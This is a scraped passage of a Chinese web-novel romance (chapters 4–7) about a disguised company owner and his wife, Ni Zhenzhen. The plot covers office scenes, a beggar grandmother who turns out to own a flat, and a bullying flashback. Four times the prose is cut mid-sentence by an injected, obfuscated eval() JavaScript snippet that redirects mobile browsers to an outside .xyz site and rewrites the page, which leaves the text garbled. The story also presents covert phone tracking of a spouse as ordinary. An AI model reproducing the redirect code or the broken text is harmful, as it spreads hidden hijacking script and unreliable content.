算了,她想做什么就做什么吧。 许天洲换了个话题,“明天给我带什么?” “啊?”倪真真反应过来,他是说带饭的事情,其实她还没来得及准备,好在她迅速回忆了一下冰箱里的存货,歪着头问:“糯米藕,可以吗?” “行吧。”许天洲十分勉强地应了一声,起身回卧室了。 倪真真暗自窃喜,许天洲这个人一向嘴硬心软,看来在涨房租这件事上,他已经不生气了。 第二天上午,苏汶锦约了许天洲在58楼的会议室见面。 前不久有一家货运航空公司破产,旗下两架货机进入拍卖程序,对于要不要接手这两架货机,公司里还没有形成统一的意见,苏汶锦也有些拿不定主意。 许天洲到会议室时,苏汶锦还没来。 他也不着急,悠闲地坐在会议桌边,拿出手机。 倪真真今天休息,此时的她正在他们的出租屋里,也许在厨房里准备午饭,也许在餐桌前看书学习。 许天洲刚想给倪真真发信息,苏汶锦来了。 他步履急切,走路带风,没扣上的西装下摆随着他的脚步上下飞舞。 苏汶锦的后面跟着他的秘书,同样是一路小跑。 “不好意思,来晚了。”苏汶锦向许天洲道歉,“刚才和老张他们开会,拖得晚了一点,好在算是有了结果。” 苏汶锦说着,给了秘书一个手势。 秘书立刻点了点头。 秘书穿着雪纺衬衫,黑色包臀裙,配一双尖头高跟鞋。 鞋是新买的,秘书穿着不太习惯,苏汶锦又走得太快,她还抱着一大摞资料,刚刚一路小跑,好几次差点摔倒。 秘书把小山似的资料放在桌子上,接着把最上面的笔记本电脑打开。 一切都是用最快的速度。 她刚准备把电脑和后面的大屏连起来,一旁的许天洲摆了摆手。 秘书微微一怔,下意识看向苏汶锦。 苏汶锦朝她点头,秘书当即会意,放下电脑,默默退了出去。 等秘书走了,许天洲把手机往会议桌上一扔,漫不经心道:“现阶段还是要以稳为主。” 正打算向许天洲汇报会议结果的苏汶锦忽地顿住。 三个部门,五十多个人,讨论了半个多月的事情就此一锤定音。 苏汶锦点头,“我明白了。” 他这次来就是要告诉许天洲,几个部门开会的结果是这两架飞机债务不清,维修成本过高,国际货运市场又持续低迷,因此现阶段并不适合接手。 而许天洲主意已定,又和大家商讨的结果一致,他也就不用再说什么了。 苏汶锦早该想到会是这样,许天洲行事果断又极具商业眼光,只是他为人低调,从不愿在人前显露什么。 苏汶锦还在出神,忽然听到许天洲冷哼一声。 “以后别让他们写这么多没用的。”许天洲把目光落在那些装帧精美的资料上,有些不屑地说道。 信达是做物流的,又不是做出版的。 也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735547|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道从什么时候开始,几个部门的分析书越做越厚,PPT也越做越花哨,还大有互相攀比的趋势。一说要做分析书,别管有用没用,各种文字、图表一个劲往上面堆,其实真正有用的内容也就那么一两页。 “就应该让他们自己出文印费,看他们还会不会浪费纸。” 苏汶锦被许天洲的话逗笑了,“他们这么做还不是为了讨好你,不做这么厚怎么能显得出来他们在认真做事。” 许天洲轻哼一声,不置可否。 “不过……”苏汶锦敛去笑容,神色凝重,有一件事他还是要提醒一下,“这次拍卖比较特殊,两架飞机涉及的停场费逾千万,两地机场又亏损得比较厉害,就等这笔钱解渴,可是放眼国内,能接手的公司不多,所以当地政府对这次拍卖寄予厚望,也托人和我们联系过,要是就这么拒绝……” 许天洲重新拿起手机,手机上,小红点还在原处。 “那就派人去看看。”许天洲心不在焉地说道。 “我知道了。” 许天洲的意思很明确,去是一定要去的,买不买就不一定了。 两个人又说了一些别的事,直到苏汶锦的秘书送来两份午餐,许天洲才意识到已经到了吃饭的时间。 毫不意外,许天洲不知道从哪里拿出一个巴掌大的玻璃饭盒。 苏汶锦弯起嘴角,语气戏谑,“又是什么好东西?” “糯米藕。”许天洲不咸不淡地说完,顺势指了指玻璃饭盒,“你要不要尝一个?” 苏汶锦有很长时间没吃过糯米藕了,也许在饭局上碰到过,不过那样的场合谁也不是为了吃饭去的,就算吃过也不记得了,况且他向来不爱吃甜的。 苏汶锦也说不清当时是怎么想的,可能是因为好奇,也可能是因为习惯了,反正许天洲这么说了,他便顺水推舟尝了一块。 刚把糯米藕放进嘴里,苏汶锦就发现倪真真做的糯米藕和外面卖的不一样。没有桂花,只有蜂蜜,没有想象中的那么甜腻,可以说是甜得恰到好处,一口咬下去,好像跌进了棉花糖,清甜软糯,唇齿留香,确实十分可口。 苏汶锦再次抬起手,忽然发现原本随意扔在一边的玻璃饭盒已经被许天洲圈在了两臂之间,而那份由秘书送来的餐盒还放在原处。 许天洲碰到没碰那份盛满山珍海味的午餐,而是专心致志地吃着倪真真准备的糯米藕。 苏汶锦这才反应过来,原来许天洲所说的让他“尝一个”真的只是“尝一个”。 “真羡慕你。”苏汶锦放下筷子,半开玩笑道,“说真的,我都想结婚了。” 许天洲看过来,扬起嘴角。这一笑十分古怪,不像是被恭维后的礼貌回应,倒像是在幸灾乐祸。 苏汶锦一脸疑惑,“你笑什么?” “你不会不知道吧?”许天洲笑容更深,“真真说你在网上特别火,好多人都说你长得帅,你这句话要是放出去,不知道有多少人要投怀送抱。” 苏汶锦惊奇道:“她知道我?” “何止是知道,她还对着电视记你的喜好,说什么如果她调岗了,说不定会用上。”许天洲摇头轻叹,语调十分无奈,“真不知道该说什么好……” “是吗……”苏汶锦低垂目光,若有所思。 5. 第 5 章 许天洲很少提及自己的私事。 许天洲不说,以苏汶锦的身份自然不好多问。 如果不是许天洲偶然提起,他甚至不知道许天洲已经结婚了。 奇怪的是,每次说起那个人,许天洲都会用“她”代替,而不是“妻子”或是“老婆”,时间长了,苏汶锦才从他的只言片语中拼凑出那个人的名字——倪真真。 但这也只是第一步。 要不是用了点手段,苏汶锦甚至没法确定“倪真真”的名字是哪个字。 “倪”就不用说了,原来这个“真”既不是“珍珠”的“珍”,也不是“贞洁”的“贞”,而是“天真”的“真”。 他很是为这份奇异的默契激动了一阵,因为当他第一次听许天洲说出“真真”时,脑海里闪过的就是这两个字。 苏汶锦没见过倪真真,也不知道她长什么模样。 不过有一件事他很确定,那就是许天洲不喜欢倪真真,准确地说,是非常讨厌。 这就让苏汶锦有些看不懂了。 如果是他讨厌一个人,他一定会离那个人远远的,最好老死不相往来,反正不会和那个人结婚。 苏汶锦想不出许天洲一定要和倪真真结婚的理由。他一开始还以为是包办婚姻、商业联姻之类的,可是许天洲明确说过不是。 许天洲没有必要骗他,因为倪真真到现在都不知道许天洲的真实身份,况且他身在信达,如果真是商业联姻,他不可能察觉不到一点蛛丝马迹。 难道…… 一想到也许有这种可能,苏汶锦就感到头皮发麻,遍体生寒。 难道这场婚姻本身就是许天洲心生憎恶的杰作,是他报复倪真真的武器? 苏汶锦想不通倪真真是怎么得罪许天洲的,就像现在这样,刚刚还心平气和邀请他吃糯米藕的人突然像变了一个人似的。 许天洲双唇紧抿,目光沉郁,周身浸着寒气。 苏汶锦看得出来,这已经是极力忍耐的结果。 不用问,能让许天洲这么生气的,只有倪真真。 “她怎么又去……”许天洲眉头紧锁,眸光沉沉,声音冷得像是隆冬里的寒冰。 在他的手机上,一枚红色小点正停留在不该停留的地方。 许天洲顾不上吃了一半的糯米藕还有来不及打开的餐盒,他霍然起身,结果因为一直盯着手机屏幕,完全没有注意到后面有人。 许天洲速度极快,他又身形高大,秘书根本避无可避,刚好和许天洲撞在一起。 “啊……”秘书惊呼一声,手里的托盘倾倒,两杯果汁滚落,洒了许天洲一身。 “对不起……” “谁让你进来的!” 许天洲声音不大,想必是在竭力克制,即便这样,秘书还是被吓了一跳,止不住地发抖。 “是……”秘书茫然无措地向苏汶锦那边看了看,濡湿的眼中满是委屈。 不管是在进公司前还是进公司后,她像所有人一样,一直以为苏汶锦就是信达集团的老板。直到有一次苏汶锦找她谈话,她才知道原来公司老板另有其人。 如果不是苏汶锦告诉她,她根本想不到苏汶锦的办公室上面还有一层。苏汶锦说那是公司的禁地,只有少数几个人有资格上去。 她永远记得,那是一个十分平常的傍晚,落日的余晖洒在地面上,反射出一片金灿灿的光。 苏汶锦就坐在那片光晕中,声音温润诚恳,“本来是不行的,不过为你破个例,请你过来帮忙。” 秘书也发现了,与会的几个人里,只有她职级最低,而这一切都得益于苏汶锦的提携。 面对许天洲的质问,秘书只看了苏汶锦一眼,很快便收回目光。 她低垂眼眸,咬着嘴唇不再说话。 秘书庆幸自己做出了正确的选择,因为许天洲并没有就这个问题深究下去。 “真是……”也不知道是已经有了答案,还是要赶时间,余怒未消的许天洲低咒一声,不再理她,径直朝电梯走去。 直到电梯门关上,秘书才从怔忡中回过神。 她不敢有丝毫怨言,半跪下来收拾一地狼藉。 与此同时,苏汶锦的声音落了过来,很意外,他并没有责备她的意思,而是说了一句安慰的话,“他不是针对你,你不要放在心上。” 不是针对她,那是因为什么? 秘书抬头,苏汶锦已经走了过来,他逆着光,在她身上投下一片阴影。 秘书很想知道其中的缘由,但又不敢多问。 “这是……”苏汶锦也蹲了下来,指着地上淡粉色的液体问道。 “是果汁。”秘书毕恭毕敬地回答,然后又补充一句,“是我自己做的。” 这两天流行一款便携式榨汁机,秘书灵机一动,想自己做果汁给两人尝尝。她反复试验了水果的搭配和比例,这才有了这两杯果汁,不过很可惜,最后一滴都没有剩下。 “是吗?”苏汶锦点头,像是想到了什么,“很好。” 这个“很好”不像是在客套,因为秘书从他的眼中看到了嘉许,如果不是男女有别,他或许还会拍拍自己的肩膀以示鼓励。 所以…… 秘书之前还有一些顾虑,现在,她顾虑全消。 看来这一次,她确实做对了? 天桥上,倪真真拿着一份从便利店买的鸡排饭进退两难。 昨天为了给老奶奶送吃的,她特意趁午休时间从网点跑过来,结果老奶奶并不像她想的那样,她不只要吃的,也要钱。 她还没从震惊中缓过来,又因为堵车回去晚了,害得同事很晚才吃上饭。 现在,倪真真总算相信,街上的乞丐都是假的。 她早该想到的。 其实也不算太意外,许天洲不只一次和她说过乞丐是骗人的,只是她不愿意相信,还说许天洲太过冷漠,没有同情心。 也许她应该向许天洲道个歉。 即便这件事让倪真真多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735548|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的坚持变成了一场笑话,但细究起来也算不上什么大事。难得一个休息日,倪真真也没闲着,不是维护客户关系,就是看书学习业务。 不知怎么,老奶奶独自一人跪坐在天桥上的样子总是浮现在她的眼前。 就在刚刚,她猛然想到,就算老奶奶向她要钱,也不能说明她就是骗子。现在这个社会,没钱寸步难行,也许老奶奶遇到了什么困难,急等着用钱。 更何况,老奶奶吃包子时狼吞虎咽的模样一点也不像装的。 马上就是饭点,她会不会饿着肚子? 倪真真决意问个清楚。 加热过的鸡排饭带着灼热的温度,倪真真捧着饭走过去,慢慢在老奶奶面前蹲下。 外面的天阴沉沉的,好像要下雨了,天桥上人来人往,没人注意到这里发生了什么。倪真真刚要说话,忽然被一阵脚步声吸引了去。 其实这里并不算安静,商家的喇叭和汽车的鸣笛混在一起,偶尔还有地铁经过的震动,然而就算这样,那串脚步还是像有魔力一般,在杂乱无章的世界里脱颖而出,蓦然抓住倪真真的神经。 脚步声越来越近,最终在倪真真身旁停下。 倪真真抬头一看,心脏骤然缩紧。 那人穿着黑色皮鞋,深灰色西装,侧脸线条冷峻凌厉。 居然是许天洲! 他怎么会来? 许天洲总说乞丐是假的,她不想许天洲生气,这才偷偷给老奶奶买吃的。倪真真还在庆幸昨天的事情没被他发现,然而现在,她竟然被他逮了个正着。 “你……” 许天洲并没有看她,那样子就好像不认识她似的。 他拿出手机,扫了铝盆里的二维码,只听到“滴”的一声响。 “转给你了。”许天洲向老奶奶亮出手机。 只是一眼,老奶奶便欣喜若狂,“谢谢你……” 老奶奶一个劲地给许天洲磕头,居高临下的许天洲收起手机,脸上没有任何表情。 倪真真看着难受,伸手要去搀老奶奶,与此同时,一旁的许天洲蹲下来,以便让自己的视线与老奶奶齐平。 “我是餐饮公司的,我叫许天洲。”许天洲不紧不慢地说着,态度恭谨亲和,让人很难把他与平常那个不苟言笑,冷眉冷眼的人联系起来,“我们公司要献爱心,特意准备了一些粮油,您家住哪儿,我们给您送过去。” “好啊好啊……”听说要送东西,老奶奶大喜过望,“感谢大慈大悲的观音菩萨,这才来两天就遇上好心人了……” 老奶奶一边念叨着,一边从地上爬起来。 许天洲也站起身,双腿修长笔直。 倪真真一脸疑惑,她不明白那个总是斥责她烂好心的许天洲怎么会一反常态,不只十分大方地给了钱,还要给老奶奶送东西? 倪真真看过去,刚好撞上许天洲尤为冷淡的目光,他既没有逃避,也不打算解释,只是在老奶奶背上包袱的时候淡淡道:“走吧。” 6. 第 6 章 倪真真小心翼翼地跟在许天洲后面,问:“你怎么来了?” 许天洲没有说话。 倪真真也不敢追问,毕竟她才是理亏的那一个。她不只一次答应过许天洲不再给乞丐钱,结果呢?现在被许天洲抓了个正着。 就在倪真真以为他不会回答时,许天洲轻哼一声,像是无奈又像是赌气,“就知道你不会不管。” 倪真真一点也没有怀疑许天洲。 他们相识多年,彼此之间足够了解,就像许天洲不信她会对乞丐视而不见,他也不信许天洲会对乞丐慷慨解囊。 难道…… 倪真真明白了,许天洲一再对她说,乞丐都是骗人的。他为了证明她的好心是多么荒谬,还说正是因为有她这种人的存在,那些人才会以此为业,他们故意编造凄惨的身世博取同情,其实家里情况并不差。 “说不定早就因为乞讨赚了几套房。” 想必许天洲已然对她失望透顶,所以这次不再和她多费口舌。他表面上说要给老奶奶送东西,实际上只是想带她去老奶奶家,让她亲眼看看“乞丐”的家里什么样。 想到这些,倪真真不免有些难过,她倒不是担心自己会在许天洲面前颜面尽失,而是觉得老奶奶满心欢喜以为遇上了好心人,如果让她知道他们给她送东西只是因为怀疑她是骗子,她会怎么想? 老奶奶并不知道两人之间的事,更不可能洞察许天洲的心思,她时不时地回身和两人说着家常,毫不设防的样子让倪真真更难过了。 下了天桥,老奶奶没有上地铁,而是出了地铁站。 外面乌云未散,遮天蔽日简直不像中午该有的样子。 倪真真担心会下雨,紧走几步问老奶奶:“您家远吗?要不要打个车?” “不远,很快就到了。”老奶奶笑眯眯地说道。 听到这句话,不远处的许天洲不落痕迹地扬起一边唇角。当倪真真明白那个表情的意思时,心就好像天上的云,直坠了下来。 老奶奶丝毫未觉有什么不妥,依旧热情地在前面带路。随着老奶奶拐进一条满是平房的窄巷,许天洲的脸霎时沉了几分。 很难想象这个闻名世界的现代化都市还有这样的地方,与满眼高楼大厦形成鲜明对比的是,巷子里低矮昏暗,污水横流,连带着人的精神面貌也差了许多。 不过老奶奶并没有在这条巷子停下,她径直穿了过去。巷子尽头,一条被鲜花装点过的宽阔马路横在那里,让人豁然开朗。 老奶奶沿着马路走了几分钟,在一个写着“某某花园”的小区前停下,欣然道:“就是这里……” 小区保安和老奶奶很是熟悉,还问她怎么这么早回来。 “有客人。”老奶奶颇为骄傲地说完,转身招呼两人往里走,“这边。” 许天洲止不住地轻笑,“看到了吗?这住的可不比我们差。” 许天洲语气极淡,不像是有情绪的样子,可倪真真却听出了讽刺的意味。 岂止是不比他们差,简直比他们好太多了。 整个小区由几幢浅褐色的高层建筑组成,虽然没什么绿化,但胜在干净整洁。不夸张地说,简直就是倪真真梦想中的家。 她仍旧不愿相信,“也许是租的?” 不用许天洲说什么,倪真真自己都没有底气,这样的地段,这样的环境,就算是租的也不便宜。 “也许住在地下车库。”倪真真嗫嚅道。 一道寒光闪过,沉闷的雷声在头顶炸开,许天洲猛然停住脚步。 倪真真的心也随着许天洲的脚步停住了,不等许天洲开口,倪真真急忙道歉:“对不起。” 许天洲看过来,面色平静如常,没有半点被冒犯后的不快。 “为什么要说对不起?”许天洲的语调温和动人,隐约还透露出一点笑意,好像这句话并不是在质问,而是真心向倪真真求教。 许天洲越是若无其事,倪真真越是感到歉疚。 “我……”倪真真说不出来。 笑容消失不见,许天洲微不可闻地叹息一声,说:“走吧。” 倪真真猜错了,老奶奶的家不在地下车库,而是在一幢高层建筑的黄金楼层。 出了电梯,老奶奶在一扇门前停下,“累坏了吧,就是这里。” 房门打开,倪真真还没来得及进去就被里面连绵不绝的枪声吓到了。 紧接着,接连两声爆炸响起,一切归于沉寂。 倪真真刚想说话,里面传来一个男人的声音:“你怎么回来了?这才几点?刚才那五百块钱是怎么回事?你是遇上有钱人了吗?真他娘的大方……” 倪真真这才发现房间里有人,只是大白天的,那人屋里拉着窗帘,也没有开灯,只能借着电脑屏幕发出的微光依稀辨认出那人的轮廓。 老奶奶放下东西,向那人解释道:“有客人。” 倪真真刚想打招呼,那人用极快的速度走过来,“砰”地一声关上房门。 “这……”倪真真不明所以。 “对不起,他……”老奶奶脸上挂不住,明明是在自己家,却显得格外局促不安,“哎……” “没关系。”许天洲十分善解人意地说道。 他把刚刚从便利店买来的粮油放下,和老奶奶聊了起来。说是聊天,其实就是问了老奶奶几个问题,诸如房子是谁的,里面那个人是谁,怎么会去乞讨,每天能要到多少钱。 许天洲目的明确,一点也不顾及老奶奶的颜面,问得倪真真都有些心疼,她几次打断他,让他别再问了。 老奶奶却不以为意,毫无保留一一回答。 原来房子不是租的,是老奶奶自己的,新盖的回迁房。里面的人是他的儿子,今年四十多了,每天在家打游戏,暂时没有工作。她刚开始乞讨,钱不多但比打扫卫生多不少…… “还是好心人多啊……”老奶奶忍不住感慨。 听到这些,倪真真终于相信,有可怜别人的功夫不如可怜可怜自己。 一切都如许天洲所料,看到倪真真失魂落魄的模样,许天洲心满意足地点头,他向老奶奶告辞,“那我们就不打扰了。” 见他们要走,老奶奶坚持要送。她不只把他们送进电梯,还要跟着他们到小区门外,是倪真真一再坚持,老奶奶才在单元门前停下。不过她也没有回去,而是一直站在那里目送两人。 “有时间再来……” “好。”倪真真笑着答应,心里却知道,她不会再来了。 外面的天依旧阴沉沉的,雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735549|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有下下来,闷闷的让人喘不上气。 不过很快,倪真真又像是卸下了压在心上的大石,整个人都放松下来。 她以为老奶奶家庭困难,吃不上饭,事实证明,老奶奶并不如她想的那样。她有自己的房子,虽然有些简陋,也没什么像样的家具,但至少不用到处漂泊,也不用像她总是在为看房、搬家或是房东涨房租而发愁。 这是好事,她应该高兴。 许天洲敏锐地察觉到她脸上的变化,皱着眉问:“你笑什么?” “谢谢你。” “谢我?”许天洲不明白,“为什么要谢我?” 倪真真抿着嘴不说话。她怕许天洲会生气。 然而不用倪真真回答,许天洲已经猜到了。 他强压着怒火,气闷道:“你……” 许天洲想起来很久以前,倪真真执意要给乞丐钱,他阻止不了,只能气急败坏地说道:“你还是可怜可怜你自己吧。” “我有什么好可怜的。”倪真真笑容明艳,仿佛冬日里的骄阳,她不无自豪地说道,“我可是天底下最幸福的人。” 许天洲不明白她有什么幸福的。 倪真真出身优渥,住高档小区,上国际学校,从来没有为钱发愁过。 读书时,她的理想是做新闻,想当个“铁肩担道义,妙手著文章”的扫雪工,只是和他在一起后不得不为了多赚一点钱选择进银行工作。 倪真真报了市区的网点,结果被分到乡镇,美其名曰“到最艰苦的地方锻炼”,奇怪的是,关系户们却不用锻炼,直接进入总行的业务部门。 至于薪资,这一唯一可以聊以慰藉的东西,也和当初的承诺有了差距。原来这个年薪的确有,不过只有绩效为A的人能拿到,而放眼整个银行,能拿到A的人寥寥无几。 他们看房子时也不顺利,看得上的价格太高,便宜的条件太差。 许天洲是吃过苦的,当他们看到现在住的这套老公房时,许天洲像瞎了一样,对着天花板上的霉斑和正在漏水的厕所说:“这套不错。” 没想到倪真真也说“确实不错”。 她像飞进了花丛的蝴蝶,在狭小的房间里来回比画,“这里可以放个餐桌,这里可以放一盆花,最好再把窗帘换一下,有阳光进来的时候一定很美……” 她用脚步丈量着房间里的每一个地方,幻想着住进来的样子,然后对许天洲说:“关键是离你上班的地方近,就这套吧。” 在许天洲眼里,现在的倪真真和所谓的幸福毫不沾边,所以当她说出自己是天底下最幸福的人时,许天洲颇为玩味地追问:“你怎么幸福?” 倪真真当即抱着他的手臂,把头枕在他的胸前,眼睛弯弯的好似两道月牙,“因为我有你啊。” 顷刻间,许天洲怒气全消。 许天洲也不知道怎么回事,他就是拿她没办法。 “喂,你等等我……” 许天洲脚步飞快,害得倪真真不得不跑了几步。 许天洲到底还是停了下来,在老奶奶家的小区门外,许天洲看看她,无可奈何地叹了口气,“你回去吧,我也回店里。” “喂……” 许天洲说完,像是在刻意逃避什么,头也不回地走了。 7. 第 7 章 那天晚上,许天洲做了一个梦。 他梦到自己回到了高二。 那时的他刚到国际学校不久,因为身份特殊,学校里有不少关于他的传言。最离谱的是,居然有人直截了当地问他是不是某个重要人物的私生子。 “不然怎么会入学?从建校以来就没听说过什么特困名额。” 许天洲也懒得解释,他并不想给这些无聊的人增加一点谈资,况且对他来说,保持一点神秘也没什么不好。 这不,见许天洲不置可否,又似笑非笑,那人眼光骤变,态度明显好了不少。 其实许天洲之所以能入学,确实源于一个特殊渠道,不过绝不是什么私生子。 后来又有传言说他在装穷,因为他家住“太平洋新城”。 “怎么可能?” 太平洋新城是学校附近的高档小区,户型和环境都算不上顶级,但因为建造年代早,所以聚集了不少“老钱”,除此之外,不少驻华使节和演艺圈人士也选择在这里安家。 “不可能吧,我怎么没见过他。”学校里有不少同学住在那里,都对此表示怀疑。 这一次,他们倒是没有当着许天洲的面议论,所以许天洲并不知道这件事,直到他们找上门。 那天许天洲回家不久,听到有人敲门。 他以为是母亲回来取东西,打开门一看,居然是自己的同学。 那人也不说话,只是伸长脖子朝里面看,然后一脸雀跃又迫不及待地向后喊道:“真住这里!” 顷刻间,不知道从哪里冒出来七八个男生,其中一人嬉皮笑脸道:“不会吧,真有人住地下车库?” “你们……” 许天洲还来不及说话,那些人便一窝蜂往上涌,他们将许天洲硬生生地挤到一边,好像里面有什么宝贝,晚了就没有似的。 里面当然没有宝贝,有的只是他们没见过的属于这个世界上绝大部分普通人的生活。 “你们干什么!别动!”许天洲大喊。 那些人哪里会听他的,他们先是用饿狼一般的眼睛到处搜寻,然后毫不掩饰地轻蔑一笑,接着用嘲讽的语气和其他人分享自己的发现。 “又一件阿迪巴斯。” “是欧迪巴斯。”另一人纠正。 “你们快看,微波炉,居然有微波炉!”那人说完小心翼翼地拧了一下,在微波炉发出轰鸣的同时抚掌大笑,“哇!能用!竟然能用!” “天哪!这怎么住人?”地下车库并不通风,外面常年弥漫着一股令人作呕的味道,里面也差不了多少。那人捏着鼻子,十分嫌弃地说道:“上厕所怎么办?” “是啊,上厕所怎么办?” 大家到处看着,突然间,有人像是发现了新大陆似的兴奋地大叫,“我知道!”那人掀起垂着一半的床单,指着床下说:“你们快看这是什么?” 大家立即围上去,然后爆发出一阵史无前例的笑声。那笑声太过惊天动地,以至于车库的卷帘门也在止不住地轻摇。 时间一分一秒地过去,那些人的笑声不仅没停,还愈演愈烈了。 许天洲避无可避,任由那些或尖利或粗哑的笑声像利箭一样绵延不绝地扎在他的心上。 刚刚还义正辞严说着“不要乱动”的许天洲彻底失去了所有力气,他呆呆地站在墙角,脸颊涨得通红。 不知道什么时候,那些人转了过来,开始对着他指指点点。 “真想不到……” “太恶心了……” “他会不会不知道马桶怎么用?” 许天洲很想逃走,可这里是他的家,他能逃到哪里? 他下意识后退,那些人步步紧逼,随着“砰”地一声,许天洲撞在墙上。紧接着,眼前变得漆黑一片,只有对面墙上的插线板闪烁着一点狰狞的猩红。 记不清这是第几次从梦中惊醒,许天洲在黑暗中睁大眼睛,急促地喘气。 很快,暖黄色的灯光驱散了眼前的黑暗,一个声音传来,和煦如风,润物如雨,迅速抚平许天洲内心的恐惧。 “怎么了?”倪真真撑起上半身,眸子漆黑,脸上的担心之情溢于言表。 许天洲没有回答,他仔细打量着倪真真,很快发现了一点异样。 倪真真穿着浅紫色睡裙,平常因为上班而挽起的头发此刻正披散在肩头,如墨一般的发丝一半在前一半在后,让原本就如雪一般白皙的肌肤更加耀眼。 也正是因为这样,藏在倪真真眼睑上的青色才没有逃过他的眼睛。 许天洲忍不住皱眉:“你没睡?” “我……”倪真真想不到会被许天洲看出来,她连忙翻身躺下,小声狡辩,“谁说的?早就睡了,被你吵醒了,哎呀,快睡吧。” 倪真真确实没睡,这直接导致她第二天早上起晚了。 昨天那场没下的雨终究在这天狠狠落了下来。 恶劣的天气没能阻挡人们出行的脚步,反而把更多的人送进地铁。 倪真真真是怕了挤地铁,曾经有一次,她好不容易从车厢中部挪到门边,又从门边下了车,结果还没走出几步就被上车的人群裹挟其中,然后就这样被挤了回去。 从那以后许天洲再不敢离开她半步,从上车到下车都要牵着她的手,生怕她再出什么意外。 今天要不是有许天洲护着,她大概又要重蹈覆辙。 从第一个地铁上下来,两人准备去另一个站台换乘。因为确实有些迟了,他们不得不加快脚步,没想到刚上天桥就被一个人拦住了。 老奶奶早早等在那里,为了给两人送东西。 她拎着一个袋子,一个劲地往倪真真手里塞,“姑娘,这个给你。” 老奶奶说:“谢谢你啊,平白收了你们那么多东西,怪不好意思的……” 倪真真打开一看,里面是一盒饺子,装在一个一次性餐盒里。那餐盒看得有点眼熟,好像是昨天送给老奶奶的那个装过鸡排饭的餐盒。 老奶奶怕倪真真有顾虑,赶忙解释:“我仔细洗过了,干净的。” “不用了,您留着吧。”倪真真推辞道。 她倒不是嫌弃什么,而是觉得老奶奶比她更需要这些。 “你一定要收下,不然就是看不起我。” “可是……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735550|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >倪真真还要推辞,一旁的许天洲忽然开口,“拿着吧。” 相较于许天洲略有轻慢的态度,真正让倪真真意外的是许天洲居然会让她收下。 别人也许不知道,倪真真却很清楚,许天洲的防备心很重,从不轻易接受任何人的好意,哪怕是一盒自己包的饺子。 她抬眸向许天洲看去,许天洲面色如常,目光淡淡的,并没有要解释的意思。也许是为了赶时间,他在说完这句话后径直走了。 “喂……” 倪真真以为许天洲嫌两人在这里拉扯半天耽误了时间,有些不耐烦。她只好向老奶奶道谢,拎着餐盒追上去。 许天洲并没有走得很快,下天桥前还故意在那里等了她一阵。 到了站台,许天洲在一个垃圾桶旁停下,他用下巴指了指倪真真手里的餐盒,说:“扔了吧。” “为什么要扔?” 为什么?许天洲在心里冷笑。 瞧瞧,又在装了。 倪真真不是没有去过老奶奶家,他也不算是有洁癖的人,对吃的也不怎么挑剔,不过一想到那样的环境,那样的卫生条件,还有那样的人,就算鲍参翅肚也难以下咽。 许天洲不相信倪真真一点芥蒂都没有,他挑了挑眉,像是试探又像是质问:“你真要吃?” “怎么了?有什么问题吗?”倪真真拿出餐盒仔细端详,“还热着呢。” 她一边说着,一边打开盒子,似乎是要拿一个饺子尝一尝。 列车轰鸣由远及近,原本如一潭死水的人们瞬间活跃起来,纷纷摩拳擦掌准备抢一个好位置。 许天洲的脸色立刻变了变,他不再和她多费唇舌,一把将打开一半的餐盒抢过来,又把倪真真准备的饭团放在她手里,冷声道:“拿着。” “喂……” 不等倪真真反应,许天洲已经混在人群里上了车,很快消失不见。 千言无语化作一声叹息。倪真真在心里嘀咕,他不会扔了吧? 倪真真低下头,包着保鲜膜的饭团正乖巧地停在她的手上。 那是她昨天晚上做的,把加了千岛酱的金枪鱼和米饭混在一起,再捏成球形。没错,她当时确实捏成了球形,不过因为刚刚挤过地铁,好好的饭团居然被挤成了米饼。 又是一声叹息,倪真真把包裹了许天洲体温的饭团放进包里。 倪真真一路辗转,总算没有迟到。 她还没进更衣室就听到荣晓丹无比庆幸的声音,“别人都怕下雨,我就盼着下雨,这么大的雨,人应该能少一点吧?” 钱丽娜苦笑,“怎么可能?你别忘了今天是什么日子。” “什么日子?”荣晓丹看了一眼手机,“15号,哎呀!”荣晓丹拍着脑袋惨叫一声,五官都皱在了一起。 